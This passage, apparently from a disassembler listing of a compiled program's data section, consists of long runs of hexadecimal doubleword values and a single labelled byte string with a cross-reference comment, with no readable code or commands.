0B04AF874h, 0E2A50F30h, 6C15C3Ah, 0EC1FCB2Ah, 0ACA11A4Bh dd 63D06034h, 452C4800h, 42BD0EE1h, 604C00F5h, 11FF0BF2h dd 507A91Eh, 0A3AE2519h, 7436530h, 24580A8Dh, 80B481B2h dd 5D22DB87h, 0DE39EAA2h, 0EC3409BDh, 0D8E823D1h, 30FF91BBh dd 0B44CC3E0h, 59A80030h, 9239CA12h, 6281A300h, 8925AD5Dh dd 0D22824DBh, 2C090F40h, 2012FFC3h, 0B01F890Eh, 0BC43E30Ch dd 0B800FD18h, 2F51A31Bh, 80FC0E11h, 83001938h, 85021F3Ch dd 9243E03h, 875E308Ch, 4083E504h, 0D9F6C1FAh, 4C8C003Eh dd 253A6E28h, 0BBC8F400h, 5C3EEB79h, 2EC30052h, 9770EC31h dd 0AF005A99h, 4F364A68h, 4CF7C4EBh, 4D00E00Dh, 0B40A30CCh dd 7D03EFFFh, 9DA1261Dh, 0A850F06Ch, 0F1730066h, 0A5EE85D8h dd 4F06B57h, 0BA8DFA00h, 6699F837h, 987F7Dh, 0DAB25A94h dd 0CF1FC608h, 122CF758h, 0C4811D0Fh, 8382EFAh, 8FD783A0h dd 770E4590h, 2527313Eh, 0B0000260h, 0D3C9B689h, 14595A63h dd 0BE00A28Ch, 822E0CB4h, 0AB00ECD6h, 0A11C3F80h, 1963DC4h dd 54096D50h, 0C1A84403h, 0DB28C4BCh, 8F8A38C0h, 1E7E2926h dd 5267C8E5h, 82BCC249h, 0B197347Eh, 0FD3E4C00h, 0EA0A52h dd 0ACB9F3D6h, 885BC8BFh, 674D7F71h, 18C002C4h, 63A8F0D4h dd 2C479068h, 0DB930710h, 10DA6B11h, 23581566h, 6C645100h dd 270DECF7h, 0AAC500E0h, 31C452FFh, 0B93E5B2Eh, 297080F2h dd 0DDB01421h, 85FE03F0h, 5D0E9D7Bh, 948937A3h, 0F28C476Dh dd 20D45B35h, 0FE87640h, 29DF00C8h, 0D9811DD4h, 1998F6ECh dd 0FA509560h, 2B2E8A4h, 0A0E9A7FDh, 0B400D33h, 5168BCDh dd 64008FB5h, 96134549h, 0CC35484Fh, 1C345500h, 2454589Fh dd 4160A701h, 66DFB22Fh, 8D30073Eh, 9538C3A0h, 0EF42B1F9h dd 0A5AB009Dh, 663FF8A3h, 3C640E58h, 0C0908712h, 0CB608EA1h dd 5C1793B0h, 29C4284Ah, 0F1001E43h, 0AD5CBA8Ch, 0E62C904Fh dd 122A9015h, 0F0B8D31Ah, 141B7168h, 0CA204EF8h, 8E31C00Eh dd 2E587920h, 0B8B8A5CEh, 0E7FA4C00h, 7A28F45Fh, 0BF0FC51Ch dd 77BC6400h, 5A3CE9h, 51F95C50h, 0CE12483Eh, 5EA58800h dd 0B42B1F3Fh, 0C6BC00A9h, 0E566444Fh, 4313A1ABh, 5407C903h dd 8CB24BF9h, 2C3A40FDh, 75651C0Ch, 94DF446Ch, 110A911h dd 0C6B4FBB3h, 4462D4D9h, 783C804h, 30B0B12Fh, 0B3588233h dd 0CA8E00AEh, 0EF97052Bh, 91875AF5h, 2946FC44h, 0C1A2704Ch dd 3172E002h, 6462D5h, 0F32629E0h, 162F0277h, 15357DF9h dd 4AA2C6Bh, 0F22FCC0h, 46BF920Fh, 6D10077Fh, 751881FFh dd 0DFFF9188h, 86299EF0h, 1FD83A84h, 78E00D28h, 0A37000F2h dd 9FED6B88h, 0A100049Ah, 3BF74D02h, 0FE5005h, 4B380A40h dd 0FBDAE554h, 9348163Bh, 0A400665Fh, 0A4DEEFC9h, 0AA90081h dd 0AA460355h, 0F900EAD7h, 93877380h, 0FB791Ch, 425E7D91h dd 64C7DE96h, 0B001A490h, 1AED51D1h, 3438342Eh, 703AF405h dd 0B0F4C56Fh, 709DAA8h, 5156AAh, 5C6AA40Ch, 0C050E2FFh dd 0C7F98610h, 1A48796Bh, 20B92714h, 258254B8h, 0EE16C0E5h dd 5CCFDD17h, 41458C00h, 0EB931FFBh, 0EA8701A6h, 0E7E8E6F0h dd 51F040FEh, 681367A9h, 3000FB7Ch, 0FA933C36h, 1E7EE6B2h dd 0BAF60F98h, 17352D76h, 0FCC29004h, 5E13A0FCh, 0AD4C0407h dd 80529286h, 457BFB84h, 6ABD0930h, 60908FACh, 29D13958h dd 2EF6C6E5h, 9E262571h, 0F3070C27h, 0D1A3CF20h, 409FF034h dd 0B9A8011Ah, 26B57DF0h, 4C403A74h, 823BE5EFh, 0DAEA022Bh dd 876E4CD4h, 0A0060CC1h, 0D809B631h, 8485E131h, 0AC729E4h dd 0A0224260h, 0AB5E15A3h, 0DD2DA00Dh, 117AF490h, 0E67E0490h dd 13442307h, 94F0C8EBh, 2ED078B1h, 72EF7Eh, 10E5EBBh dd 8730F8F7h, 49F1E6B8h, 8C5A486Fh, 0F07B8F84h, 3700233Ch dd 51BAC83Fh, 0FB76CD1h, 680FAB61h, 0DDDC00B7h, 9F47BEB4h dd 0C2EA9527h, 0FC5C8034h, 1602371Dh, 844B4330h, 3C58E180h dd 72C4C80h, 16324D94h, 0B0427A20h, 0FE3F0C33h, 6A1943CBh dd 0F9510600h, 0BD1D8841h, 5A7B1333h, 58E8B07Ch, 4B059C70h dd 0B19D3910h, 6A30C4B8h, 49300E29h, 72000BECh, 0A94A967Eh dd 30A829Eh, 3A1DCD5Ch, 7CE1DE5Bh, 993DC860h, 6A004CBEh dd 0E705847Eh, 0AA4900C9h, 0C0374C6Eh, 0A90F8CBBh, 802D4762h dd 0E4C7E502h, 657D009Ch, 11C3A81h, 0B700D61Dh, 767AC1A4h dd 3175E42h, 0B6FFE1F7h, 6390809Dh, 9494EB0Eh, 1957FE00h dd 12B487B2h, 40035366h, 0E9BC8154h, 0F2053314h, 2CBAF640h dd 830FE485h, 1BFE0608h, 0E27811h, 1CEDB8E0h, 88892F36h dd 4B11203h, 0B8A610Eh, 0D2C31120h, 0F2137080h, 34A05165h dd 0C4015755h, 6FD67916h, 0AB2022C9h, 38896591h, 944C72E4h dd 3608C61Bh, 0D1600F3Fh, 9D77B700h, 0DAB6CEFBh, 0CDCEDE5h dd 0EAD8006Ah, 0C5CDC390h, 75000D4Eh, 2DB0FBEEh, 5B304F1h dd 3A904541h, 2E84AB93h, 0D78010C5h, 3B2D35C7h, 671F042Fh dd 3850806Eh, 10FEC08Eh, 86D848h, 29193662h, 1A5ABC3h dd 0FA5076FCh, 0C8DA1D3Fh, 0A81FBA2Bh, 0E183BCCh, 382789C9h dd 2680A3C2h, 90775038h, 0E303FBC4h, 859CE197h, 59D101D0h dd 5A0DE7A8h, 0F36C64EEh, 49021630h, 0C2F8E7Eh, 4873C10Fh dd 6663DD20h, 0C4F5E429h, 7CB75447h, 9160E19h, 231E3FB6h dd 0F4D788C0h, 0F0F649BAh, 430812E4h, 0DF8E00E9h, 37E80B18h dd 0BF7FED00h, 2E11EE3Dh, 0F94C00F4h, 4090D650h, 9C184FB7h dd 0C6B1CF84h, 0C24E0166h, 87C8886Fh, 0B59CE8DAh, 6D659400h dd 0E2D04F9Fh, 3F5B07D1h, 10A57FF4h, 3691801Ah, 288C6106h dd 0C0B996CEh, 64F7D0E8h, 0D50394E9h, 0E5C98009h, 0F420002Ah dd 0E4CDAA12h, 4C1DF78Ch dd 34C62762h, 83361h, 0D436F498h, 0C730BDC9h, 2D1ED774h dd 0FB7F41C0h, 1FC3C63Eh, 0EC1DD4CBh, 31D2C8C3h, 0E1C7E2C2h dd 20D1A2D5h, 3B0010BDh, 350440FAh, 0C00D907h, 0BF70DFC3h dd 0BD89321h, 0C7D5F8C8h, 82B80200h, 0D43B30D2h, 0C43C1DD7h dd 0F40EC15Eh, 0A0309BD3h, 0F8CAF6C2h, 0D5E8C0h, 0BE2DCB74h dd 0C53613D0h, 6414D629h, 7CD70423h, 0DB8B4A0Fh, 592F8035h dd 50667h, 33CEE6C0h, 34254C0Fh, 204128CFh, 0B7AA8E8Bh dd 0E1E919E0h, 803F08E7h, 8BD56B21h, 0F2673C7h, 5BB999B7h dd 402F4B84h, 0C5E28C4Ah, 24DF07F8h, 7FC7025h, 421F5108h dd 94918099h, 224E41B0h, 4BD50E28h, 1F302A6Fh, 0F55D1E60h dd 61CA2830h, 0E9A430D5h, 7282D411h, 7862860h, 0CC65B3C1h dd 0A621DC08h, 16727B00h, 0A5618B66h, 0EF80BD3Ch, 0D8262BFCh dd 88A962EEh, 4BAED05Ah, 49B93060h, 2530ACCh, 7B0B23CFh dd 94826548h, 0A90004BAh, 0CEFAF378h, 85E0F648h, 0A867D827h dd 8ACF51CEh, 21CFA410h, 0AFAA958Bh, 0D66C000Eh, 9FD3588Bh dd 54EA027Eh, 384CF4FAh, 48108F20h, 1E320076h, 1894DA9h dd 4400B5C9h, 0FB459F4Fh, 0EE677FB9h, 0E6C215C4h, 0E8424461h dd 0E6303AE2h, 0DD390C90h, 81193660h, 978A041Fh, 4BBF2682h dd 4DE02F2Ah, 3D31AD6Bh, 81F65403h, 0F8638A0Ch, 0EC94BF27h dd 0E8152890h, 0D4A62994h, 80D691E4h, 6B2D7283h, 0D8448CDDh dd 727C12ADh, 7A602796h, 0A8AC40DCh, 2F03C205h, 0D674C426h dd 8677E035h, 7D4A218h, 20DCAAF8h, 0CED40123h, 9257CD2Eh dd 78A7021Fh, 0A0DF90h, 0CCCA29B8h, 0D3E6BB35h, 0B32AED03h dd 73330789h, 20D50CD0h, 0CA89B425h, 4F1B647Dh, 23202D03h dd 7812E3D8h, 656B4005h, 20CF6C22h, 387270F4h, 0B4280D05h dd 9601AA46h, 224A5650h, 2AD824h, 16418C32h, 353CB64Bh dd 5842A001h, 0D96C1B03h, 78913FEDh, 727F80E2h, 8C7D6B29h dd 0C0A9D144h, 15384398h, 91EB468h, 57053DD2h, 8C000D9Ah dd 61AF738Fh, 0E5071D75h, 30E154CBh, 14727E80h, 448C756Bh dd 7600F2DBh, 3B471772h, 4BBABE1h, 678A2956h, 6B208092h dd 0D651FCA6h, 0A3B801B0h, 14C2D49h, 7F291613h, 143018ACh dd 60189AB5h, 1DF42110h, 80003B29h, 0E89F9159h, 15E32B26h dd 0CC33401Eh, 0AC313004h, 0A61891D0h, 8E999EE5h, 0DF510300h dd 1EB6F7h, 26B310Bh, 8844EE7Bh, 4B29F062h, 0E170482Bh dd 8FC30098h, 83132B4h, 0CC29C985h, 14015899h, 28AC7D29h dd 1BF2000Eh, 44931E29h, 17E7B8Ch, 0ACA7C7DDh, 4096E369h dd 80CC3088h, 78342406h, 2B9C14Bh, 0CFE892EDh, 30609045h dd 8CCA84Eh, 0C21D3h, 0A649E899h, 4375CBD0h, 275CFF0Ah dd 0A4115401h, 7A291581h, 1C31C2ACh, 29A8F313h, 0AA06459Bh dd 0C649EF95h, 0A0480769h, 0E08A5B43h, 4B5C98A8h, 5D902D54h dd 0AAB97700h, 18CA0444h, 2AC301F5h, 0A5E171A4h, 3CA850ECh dd 0DD006901h, 8BDCDA55h, 371E91E5h, 8521E64Ch, 0D95088A4h dd 0A0641426h, 33B4674h, 9BAA5B03h, 19DE4Bh, 5E2657B5h dd 20BAE4D0h, 4F45F300h, 43A286CEh, 1ED81FF4h, 2244E84Bh dd 4C5915A6h, 721E7C90h, 0A500EF90h, 2C67FD49h, 69EB01BFh dd 14F14E2Fh, 4613DB37h, 8C13EA3Eh, 35320404h, 0D7A45D00h dd 0F98B296Bh, 0AC50CAB3h, 0A171932Dh, 4014D984h, 0DA203E5Ch dd 6B00EB12h, 312F1CACh, 267499B1h, 74345CE4h, 4001DC46h dd 0A9DDC08Ch, 0F9208161h, 0D134A5ECh, 8E4C420h, 204AA21Ch dd 276580BDh, 4941EF23h, 3EFC0017h, 0FE1E8101h, 4F75AF95h dd 534A202h, 80829C13h, 8256BDCh, 7B649123h, 0E5F660CCh dd 549FF235h, 60A6BCDCh, 6AE6C1E1h, 7C000980h, 86B74A9Dh dd 48D7CBDEh, 6287D467h, 0C3DC7470h, 0DBE05AE4h, 68BAC2E8h dd 87D1C46h, 0CFAA918Bh, 684035C4h, 88D28BE2h, 0E89E2E26h dd 0D63B00DEh, 0EA540841h, 9808471Bh, 802C4A03h, 0CE3C02C9h dd 0C8127238h, 0D8082805h, 5C842489h, 7C021C46h, 782085AEh dd 0DA372861h, 1CC84B05h, 0D9973A4Fh, 9B1B5280h, 0C6DF83DEh dd 0E374A001h, 0DD990554h, 4C388420h, 1ABC6CCAh, 5D3F88Ch dd 1857E42Dh, 0C33C5EB1h, 783383BAh, 6C75FBC8h, 5963EC00h dd 0BD3D5E5Dh, 0CBE16EEh, 232C2FCAh, 6BBA00D8h, 0EEF9A4B6h dd 41AD2A02h, 129D246h, 86FB8CBEh, 0E25A1F18h, 0C04B7339h dd 80F9FD99h, 0C9007783h, 597194EBh, 0BBEFA38h, 3A6F45DBh dd 0C3AF1CA1h, 0D8A09134h, 27727D81h, 0D731DA6Bh, 4500A712h dd 4395B0Fh, 4D3E2641h, 797490C5h, 6FEA3CFEh, 0D3BF0906h dd 0E839EDA4h, 0FF7000A6h, 203A3E6Dh, 63038F7Ah, 0BA15EB13h dd 0D5D016F8h, 514C304Eh, 0AE08A9C1h, 2448B4BEh, 1F3182A0h dd 0AC52BC40h, 0BAB4CB00h, 0BF7AB9AEh, 0C17D029Dh, 4B81642Dh dd 0E000B444h, 0B958D2BDh, 855168h, 0C4EB93FCh, 0EE461001h dd 70D63600h, 7F03D7E1h, 7A2700DBh, 0BFBEDD91h, 65F8E382h dd 819EF894h, 0F0121A13h, 8F7D0800h, 130B5CD4h, 9CAECAEh dd 2404AB34h, 9B588189h, 4AA40194h, 676100D2h, 0A99817E3h dd 286CDA26h, 5257C60Eh, 0A8ADBC80h, 0E8A75C2Eh, 0F235C900h dd 393B41A9h, 563AC0B8h, 0C8D45859h, 2921CEA2h, 2310AC80h dd 0A0F18E68h, 65D02829h, 122301E5h, 5E1E6B3Ch, 572824F7h dd 0AC10EA45h, 0E84B83ADh, 0C72F0F9Ch, 8E6D89A0h, 881C4ED0h dd 0DD29C0D0h, 44705CACh, 0C947EC03h, 625AEE5h, 6F522CA1h dd 7F04E838h, 0CE4DA0AAh, 602D78C2h, 0A1F84896h, 0C610E754h dd 0EF1272E2h, 14388254h, 20ED8ADDh, 4D8F90C0h, 88D0013Ah dd 4BC90D22h, 86042431h, 0C56BB101h, 0B74F5317h, 0B2960C4h dd 13690718h, 10E01091h, 146F945h, 1209B0B8h, 0E1C7BF3Fh dd 0D3242027h, 34932C04h, 0A490CC9Eh, 2799A2Eh, 0AA08C0ACh dd 30581B70h, 3C961390h, 96409C48h, 2C768264h, 163C4410h dd 7750080Bh, 0DAE89BC0h, 22984645h, 0A20B02D1h, 0A4B37CE8h dd 9819C406h, 712760F4h, 0E845D481h, 43D38402h, 40220A4Fh dd 59D15C58h, 12C84859h, 8F8BD1C0h, 22BF46AAh, 0D8660039h dd 7AC41E8Bh, 2412B76Eh, 4C1E1CD5h, 0A80FD292h, 307CE1DAh dd 88212DB4h, 8C97E420h, 83292A04h, 1B6238ACh, 2911E820h dd 4DDE0059h, 1036F5EAh, 0AC30313Dh, 4F46E9BEh, 0BFFE028Eh dd 0CBD480E6h, 0CE079080h, 0FF672E77h, 3CBA0F18h, 3A1D4656h dd 0F4C501D9h, 0DEA5BBFDh, 7A1F0824h, 0B27502h, 4B6E4E95h dd 6850FD2Eh, 6EB4B03Eh, 0D8445740h, 1E04BFC6h, 0EB28A44Dh dd 0E99A1D12h, 89A18801h, 0D02D383Fh, 7901E423h, 6D6B1372h dd 71F3070Eh, 320BB72h, 2CE6CEFh, 25E735EBh, 16202B4Fh dd 1820DE9Ah, 0F63848FBh, 82FFA772h, 7DDB370h, 0B0B46BE1h dd 5D84ABE6h, 0CC1504CEh, 5F9D9896h, 30ACC829h, 0E54418C4h dd 59AC010Eh, 343091C3h, 0F21E1803h, 0D7A4E8ECh, 85746C58h dd 0B420294Ah, 2D49084h, 0F0ECEF38h, 0E0511D05h, 0C8212900h dd 1EE903Dh, 3BE04580h, 0E492648Ah, 0AC90FF15h, 0ECB19CACh dd 0CC19D271h, 4A3064B5h, 0D2879124h, 4ED71CFDh, 0B38140A3h dd 892594B1h, 8435A809h, 1C64E3h, 47D0595Ah, 0A30CF275h dd 9D0B6479h, 366B641h, 0D2613BF8h, 451DDh, 2B9988Ah, 0CC49262Ch dd 72B86454h, 0D9E89C60h, 15A04523h, 0E01D4E9h, 0B04E8A3h dd 3B74CC5Bh dd 0CFDEC201h, 0FDBA57C5h, 74707820h, 0E451CA4Ch, 0B50B09EBh dd 94378042h, 6B428E81h, 5C2408A6h, 2EC90D4h, 7743E4C1h dd 28600B56h, 24148A81h, 80307B34h, 45CEE88Fh, 0EA618CB8h dd 0E896FFD1h, 42ABE8DBh, 1FA90159h, 0E6EB5BB0h, 441422E1h dd 0EE003F68h, 6B2D50B8h, 91F89616h, 305708A4h, 2133B01h dd 46E25F72h, 22E54674h, 420C1686h, 64088303h, 0AC64A8CAh dd 0F4E4A62Ah, 5B699A00h, 0D3247A9Dh, 0B0AAFCDDh, 13560B83h dd 18274596h, 88AC302Ch, 7C130657h, 24822DCDh, 77A41042h dd 9B22FEF0h, 9F5A2479h, 3A8D12A4h, 381B23B8h, 15CA9C00h dd 5BA4B114h, 716D810Eh, 43D500E2h, 0AA24C257h, 0B284C0CCh dd 4C5C843Ah, 0D2BE80B0h, 4863BCh, 32922ADAh, 1603DFEFh dd 4E236802h, 0C9C7458Fh, 70265D68h, 28983020h, 0B32DE20h dd 0DE0E827h, 38E4EC45h, 24F3DE60h, 49D8FE16h, 0E4A93090h dd 0CA3E0030h, 0FA324219h, 43008678h, 0F9DDA6E1h, 166BD077h dd 9D5E8B6h, 401D8B38h, 0EC81E911h, 0CC475108h, 6005D46Bh dd 467745D1h, 2582C4A0h, 0E42B572Eh, 0E447FF04h, 97E832A8h dd 77577305h, 0A480B3F4h, 14104663h, 88AFE27Fh, 0E40E6459h dd 91331DDBh, 28AEA570h, 24C88218h, 0BCA0A325h, 0A66AD8AAh dd 0A869C051h, 0FA25B88Ch, 6DB7BF0Eh, 1375A0D6h, 8EC9B6h dd 301C3A90h, 61036C95h, 8CF7F200h, 0FC80FFF9h, 60AF0074h dd 55B04A44h, 0CA00EC70h, 0F2C6B964h, 0F0EB315Ch, 0A40D00F8h dd 0ABBBB4CBh, 98032D75h, 84F750B7h, 31E398F9h, 62590017h dd 71AD23B5h, 0C6F4748Bh, 7F734300h, 34B89CFAh, 264B38CEh dd 0FB3F2F84h, 91AC8732h, 31CD2E83h, 9D7442A0h, 11292830h dd 8848AC81h, 0DEA611h, 12C19E29h, 0D6007A1Bh, 932EC843h dd 16AD30B4h, 0BDFF5A8h, 504D2304h, 0C15C3760h, 2D4C0086h dd 9B355DC3h, 6091D014h, 2F60FC7Bh, 515BA925h, 1723D809h dd 34D38844h, 0B69FD60h, 0FFB161Eh, 0F49430AFh, 82004DD7h dd 3C384065h, 2D68E5FEh, 88843322h, 717C8235h, 13E89D30h dd 39A845DCh, 0E8F800ECh, 941836C1h, 0CF691E4Ah, 57DE0046h dd 21C4697Ah, 0C64825E1h, 3C0602F1h, 512295C7h, 18D47150h dd 0EAF70084h, 1D8C736Ah, 6912AA45h, 100136B3h, 0C04A0EC6h dd 948C3180h, 78F87BE7h, 0CC552212h, 0FC93F01Dh, 4233F404h dd 3064B5h, 0FCD848E6h, 0B8229611h, 4DDC038Bh, 2BAFF901h dd 7FB62CC8h, 2D2C28B0h, 4E08D40Dh, 0E9022B0h, 836DD823h dd 1D60D2D7h, 138BDC30h, 38E7AA9Ch, 0E300A174h, 7CC2098Bh dd 1782358Eh, 43B75232h, 0DCA5E9C8h, 5CD5E904h, 48A4AFE5h dd 0D9C3604Ch, 0F1E46B65h, 0A2ED660Bh, 0AA2C0F7Eh, 0A61610B5h dd 76993820h, 308D0A37h, 74DCA3E0h, 0E109D246h, 588262EAh dd 38D1CBE5h, 0F819DA71h, 0A00D220h, 0D373BD93h, 412B6AD7h dd 2CB2CD34h, 0CC9C969Ch, 0B482031Ch, 831132E0h, 0E391E6D8h dd 9BA41A59h, 0D9A9E208h, 0C012A5D0h, 4E70D4D3h, 0A7C008FFh dd 0E780354Bh, 307395B5h, 77CE006Dh, 5223F159h, 0A00140Eh dd 75A3A41Eh, 4CB5A65Fh, 0CA26D801h, 1B465E74h, 693AA200h dd 0B3CB9C99h, 9F4B097Dh, 67CE7440h, 80C00F8Eh, 0EB2441AAh dd 90278490h, 99F720h, 8E0E2D17h, 64A1CE1Ah, 97537400h dd 0AF24C7D4h, 32A525A8h, 197C4039h, 45D38C40h, 0CED8B9B0h dd 742C0013h, 16456B3Dh, 14C56F07h, 0BE81B607h, 7C68FDBCh dd 0CA3DE062h, 16E46CE5h, 0DFE4CC60h, 0F0904C4Ah, 0E87437h dd 403FAF4Eh, 0DE7C43F2h, 71515500h, 0D635074Ah, 0EC4604B1h dd 0A8D8E1A5h, 0AB2D1E98h, 60C83A54h, 3F666149h, 0BAE4B04Ah dd 50E5F828h, 93C10B3h, 325A68E3h, 1E463872h, 9B8BDD02h dd 2047DFAAh, 8BE4A200h, 0E2156BC3h, 7C810094h, 0DCDB7F74h dd 0CB1D93C8h, 4A0C97AAh, 0E11B7123h, 58A2D8h, 9112F5B2h dd 217AB648h, 8277F309h, 0C45CC5C9h, 0D27A6011h, 5DA003E0h dd 3B9741D4h, 425F4398h, 0A95C0197h, 54648990h, 0B9B8908Bh dd 4F620408h, 1E53C032h, 1903ED4Eh, 8EF8C1B1h, 9420B771h dd 4BA8B082h, 9BC01225h, 0C0208F60h, 2D0665CFh, 776803E6h dd 10965743h, 4D6EA025h, 0E78FC064h, 3D98EC2Fh, 0F000C0B0h dd 26223930h, 9972C13Ch, 183ED1D8h, 2EFB00AEh, 0BA35650h dd 0D6304F46h, 0D3BAA80Ch, 4A772D43h, 0D190CCA2h, 2E25F058h dd 9184177Fh, 981803Ch, 0B28D27h, 0D8CA74D1h, 0E0DDA8A9h dd 0F7482B58h, 0E8E40Bh, 2DB0C62Ch, 0E3C71875h, 6B1284F0h dd 6CE25CD4h, 0AC30DAF2h, 73982FD3h, 2F099256h, 5EB8C359h dd 90702078h, 4883DBB5h, 4C25D084h, 8DF7C96h, 8364E865h dd 0C122005Ch, 0A1AB696Ch, 1204EB3Bh, 0D74C719Ch, 483A2890h dd 0AFFD00CFh, 5582A959h, 8D03CBC7h, 2C81640Bh, 0C23BC25Ah dd 40D9A0h, 0E1AE2A36h, 70B4D209h, 0FF5C00EAh, 813AB118h dd 505400B4h, 166CE4E6h, 0D4DD599Eh, 0D02CAC48h, 3A465E34h dd 6529D800h, 309C4BB6h, 0DA0871F9h, 0CF806C56h, 0F7031A59h dd 0A560026Bh, 4B79932Ch, 0D5395072h, 0F4720031h, 3E23B3D0h dd 448D002Fh, 3A7BECBEh, 690060DEh, 0E17A726Eh, 19313CAh dd 66CBA8AEh, 6DA6262Fh, 0B64E00C4h, 71C36A7Ch, 0DD46351Eh dd 98E219h, 89F45C4Eh, 3BF9196h, 5EA53D02h, 0C00BC04Bh dd 60F9903Ch, 4B41AC30h, 0C848C0A3h, 0CC64F564h, 50A223B1h dd 8130D5E2h, 74880BC2h, 0C44B51Bh, 9DD12E09h, 617680EEh dd 55239A5h, 82562F1h, 6A84E4A6h, 4F0030F4h, 10398D85h dd 93CFB69h, 35366743h, 9129D800h, 2B56FE49h, 0A8617988h dd 0ACC58A84h, 0BC7C9069h, 0DC465E9Ch, 51E9A000h, 0AF37AC7Ch dd 34C787Dh, 57460510h, 1CF4230Ah, 236941C7h, 34D4A1A8h dd 43C6D0Ch, 0B4D78203h, 52495E39h, 77220008h, 31BC9970h dd 0E715C24Dh, 0A42E4Ch, 7C8C8F97h, 6BCE70h, 1207907Ah dd 0CDD3AA55h, 91309795h, 363F83D7h, 803E604Fh, 97D389ACh dd 0A8B154B8h, 609E7280h, 946C0Ch, 1DB0D0F1h, 278F9A3Ah dd 308FE050h, 18618338h, 2AC9CE4Dh, 3C4E16B3h, 70E80041h dd 21959636h, 866F4C09h, 4C8D81Dh, 0A661D4B7h, 3490E80Ch dd 58C14066h, 5A9806DDh, 4F2E507Fh, 0CC00CF5Fh, 0B8756494h dd 5AC0A0C0h, 98577667h, 0A0700518h, 0C0D44A41h, 9564A418h dd 1890E97Ch, 2E284C09h, 19B881D5h, 64E6FC13h, 92ED3B1Ch dd 473DD200h, 2D6FEBA8h, 0CF287B05h, 0F4B22B5Dh, 0D230DAF2h dd 453F0951h, 0B402E9FBh, 0B4D86359h, 0D0A60B08h, 71A10AEDh dd 644D2758h, 1E5F16C0h, 50E16B22h, 1711E01Dh, 0A58AC381h dd 29A9E560h, 57C60F60h, 0E001D0D6h, 0A4E5CCEDh, 7C1035A8h dd 8C1DBC88h, 9BFA0B01h, 2E66CE12h, 0EE005833h, 0FF98AE30h dd 0F63EFDDAh, 21C20065h, 0AF39F2BDh, 1F17029Eh, 60D1F061h dd 9870BCF3h, 40F500ECh, 80376AFCh, 5F134608h, 18525849h dd 0D1C8C8CBh, 75F978C1h, 9C48B4E5h, 0B65010E6h, 970E2F03h dd 9F189164h, 0E3A33006h, 27B900C1h, 0BC44F613h, 3D00D936h dd 0FA159E4Ch, 25CACB0Fh, 8E81978h, 2B4D6A0Ch, 0AB2D09E8h dd 60945894h, 573B2135h, 0EA2C6F5Fh, 1B91B0BFh, 9A8BDA80h dd 9894D7AAh, 8BE46759h, 20D11228h, 3E28B659h, 3B70C95Ah dd 9931E04Bh, 4629B3h, 13C7C6D6h, 8289F5Bh, 0A4D92D12h dd 0E28FE890h, 74D75940h dd 1969440Ch, 0A824AAB1h, 5262F4B6h, 0B2A901A7h, 2A418274h dd 9D6820F9h, 81D311E0h, 0F3600ECDh, 12CC98E0h, 0B0AF70AAh dd 0F898CE00h, 97801A40h, 0FB00A8B7h, 1B600722h, 0C999D24h dd 23000BB3h, 0B988514Fh, 1871FD97h, 8B50B798h, 0A61C75CBh dd 0A8C95F43h, 0B758C244h, 884409C0h, 208BD480h, 9A304F46h dd 6A04E11Ch, 1C3748CFh, 1B7B7102h, 0C85CAACBh, 8C346908h dd 1B512A4Ah, 9E39750Eh, 0B2AF8197h, 587CAD78h, 255FD812h dd 31C98600h, 30B6332Eh, 883128ECh, 84881F4Ah, 0C81A009Ah dd 5F92A84Dh, 7D592080h, 1C30D2ECh, 57EF40h, 778C7ED2h dd 3694C2D8h, 1689DD00h, 0ABFEA433h, 2F671F59h, 7AE8B0ADh dd 9C003AF1h, 81EA7504h, 1593FECDh, 0FC6D9862h, 494461Eh dd 0FD67803Ch, 787326FCh, 16184674h, 0F117D3BCh, 90B07441h dd 6883EAC1h, 14565F44h, 0CB816001h, 9F279D09h, 379C123Bh dd 48E8E0D0h, 3C5C1DE1h, 2BC50019h, 968B286h, 1C791E58h dd 0A605C952h, 4D0E785Ah, 7D7B3E0h, 0A19772FFh, 665EC770h dd 14DA3FF5h, 0D0079501h, 2BC1EF09h, 81769423h, 0D8E34919h dd 15A4DEDh, 0FD718C53h, 0C56F33E8h, 4C3B6A3Dh, 2F00DB23h dd 0E3E9EC52h, 0B4820020h, 5CB26CBCh, 0AE2C0307h, 0D59488F4h dd 0C45511D8h, 6B408301h, 28FADCA6h, 0E28282E0h, 0BEC47EA4h dd 4E80A2BDh, 0B07A780h, 0F3006467h, 0F0E21CCBh, 16599A14h dd 0A127A5D1h, 0C46E3AF4h, 49743A00h, 9653E16Dh, 6816E310h dd 2B3DE7C0h, 4E008B64h, 45D4F402h, 9C156277h, 0FF3188E0h dd 7D612E01h, 0C60D907h, 4DD08834h, 0ABB13F18h, 25A8AFF8h dd 3C010CF5h, 6111E67h, 3552118h, 42243608h, 6E100461h dd 3DEA8133h, 9887F5B0h, 6B01A984h, 81CE7BA8h, 0E875FB91h dd 496A4123h, 9C653B84h, 2603EE4h, 1679A8D0h, 45CE6903h dd 19A667h, 0EBD1CA0h, 0DA4D36F8h, 0D8702095h, 0F919866h dd 0ABA2623Dh, 20B156C0h, 5CA22665h, 1779B471h, 8F03DD18h dd 0A75B0E73h, 30E2D480h, 7B3035F2h, 2B2F00D9h, 0FEEC9641h dd 0E6016E99h, 0D640D41Ah, 14F4A803h, 10D562EDh, 0F309F19h dd 27311ABh, 0A8197DFBh, 3441E76Dh, 4CB4386Fh, 0D00FAC4Eh dd 31768B23h, 64609074h, 0CBC04F45h, 97020288h, 4026BCE8h dd 17B0B3A8h, 9BD381FAh, 80778030h, 371E8230h, 0C1A13244h dd 3074C57Ah, 7F09D42Ch, 6ACB867h, 12C16064h, 0CB7E9F59h dd 0C0D1C8C8h, 4BB9690Eh, 53FA5F00h, 0F97DD7A4h, 4C8B0B30h dd 40C4D432h, 0B2764D00h, 3D2AC098h, 2261007Bh, 0E9731ED2h dd 2498B62Ch, 0A045962Ch, 0DCCCACh, 7320361Ch, 0C62D2CF0h dd 7E011A7Bh, 9CAA8193h, 0E050374Ch, 67F6B1h, 80B36098h dd 0E69DC685h, 0BA930800h, 3BD2DC43h, 6A8EE28h, 0A5E50E3Ah dd 0B0B56906h, 2E70B33Ch, 3806B39h db 0B2h, 4Bh aS1zH8m db 'S1Z( H8¬>',0 ; DATA XREF: ___:off_435710o dd 0FEEC2E2h, 5BE79770h, 0E9BD3D01h, 0D73AA521h, 0CCBE6088h dd 68A4D309h, 18BD2620h, 6631FD6Fh, 64007C82h, 0DE1CC7ACh dd 0AF00821h, 4DF7DA40h, 7728006Ch, 9079C523h, 9FF5E05h dd 0C0BF452Fh, 0C4B6D269h, 9915D900h, 931654AFh, 317034AEh dd 199800C1h, 0B0C7EA7Ch, 4B2B5D08h, 0FC97ADABh, 67803C91h dd 0DC4A6DB6h, 